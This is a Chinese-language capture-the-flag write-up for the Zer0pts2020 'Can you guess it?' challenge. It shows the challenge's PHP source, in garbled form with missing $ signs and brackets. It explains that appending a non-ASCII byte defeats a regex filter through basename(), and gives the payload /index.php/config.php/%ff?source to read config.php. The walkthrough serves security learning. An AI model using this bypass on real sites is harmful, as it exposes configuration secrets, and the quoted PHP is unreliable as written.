[Zer0pts2020]Can you guess it?1

打开题目

看到信息随便输入一个数,显示错误

查看源代码

看到php代码,代码审计

<?php

include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*/i', _SERVER'PHP_SELF')) {

exit("I don't know what you are thinking, but I won't let you read it :)");

}

if (isset($_GET'source')) {

highlight_file(basename($_SERVER'PHP_SELF'));

exit();

}

$secret = bin2hex(random_bytes(64));

if (isset($_POST'guess')) {

guess = (string) _POST'guess';

if (hash_equals(secret, guess)) {

$message = 'Congratulations! The flag is: ' . FLAG;

} else {

$message = 'Wrong.';

}

}

?>

<!doctype html>

<html lang="en">

<head>

<meta charset="utf-8">

<title>Can you guess it?</title>

</head>

<body>

<h1>Can you guess it?</h1>

<p>If your guess is correct, I'll give you the flag.</p>

<p><a href="?source">Source</a></p>

<hr>

<?php if (isset($message)) { ?>

<p><?= $message ?></p>

<?php } ?>

<form action="index.php" method="POST">

<input type="text" name="guess">

<input type="submit">

</form>

</body>

</html>

basename()

会返回路径重的文件名部分。比如/index.php/config.php使用basename()之后返回config.php
basename()会去掉文件名开头的非ASCII值。

看到提示,有config.php目录,跳转一下看看。

得到

我们要想访问config,但是config.php被正则过滤了

本题目利用的是basename()漏洞

用不可显字符绕过正则(后面加 %80 -- %ff 的任意字符)

我们构造payload:/index.php/config.php/%ff?source

访问得到flag

相关推荐
叶辞树3 小时前
Android CLI
android
我命由我123456 小时前
Android 开发问题:unexpected element <service> found in <manifest>
android·java·java-ee·android studio·android jetpack·android-studio·android runtime
程思扬6 小时前
Android ANR实战排查:主线程SystemClock.sleep导致页面启动偶现无响应
android·笔记
码农coding6 小时前
android12 InputManagerService分析之输入事件如何回到应用层
android
zhangguojia76 小时前
从一个窗口覆盖问题出发,理解 Android Window 的层级与权限
android
古法安卓9 小时前
Android-SELinux 策略调试实战:从 AVC 日志到策略修复
android·java·android studio
Dovis(誓平步青云)10 小时前
DevEco Studio 6.1.1 Windows 安装实录:从下载校验到首次启动
android·开发语言·数据库·人工智能·windows·harmonyos
Zender Han10 小时前
Flutter 自适应(Adaptive)与响应式(Responsive)设计实践:官方推荐方案详解
android·flutter·ios
我命由我1234510 小时前
Android 开发问题:TopAppBar 和 topAppBarColors API is experimental...
android·java·java-ee·kotlin·android studio·android jetpack·android-studio
造火箭11 小时前
Android UI自动化测试可行性评估SKILL
android·功能测试·ui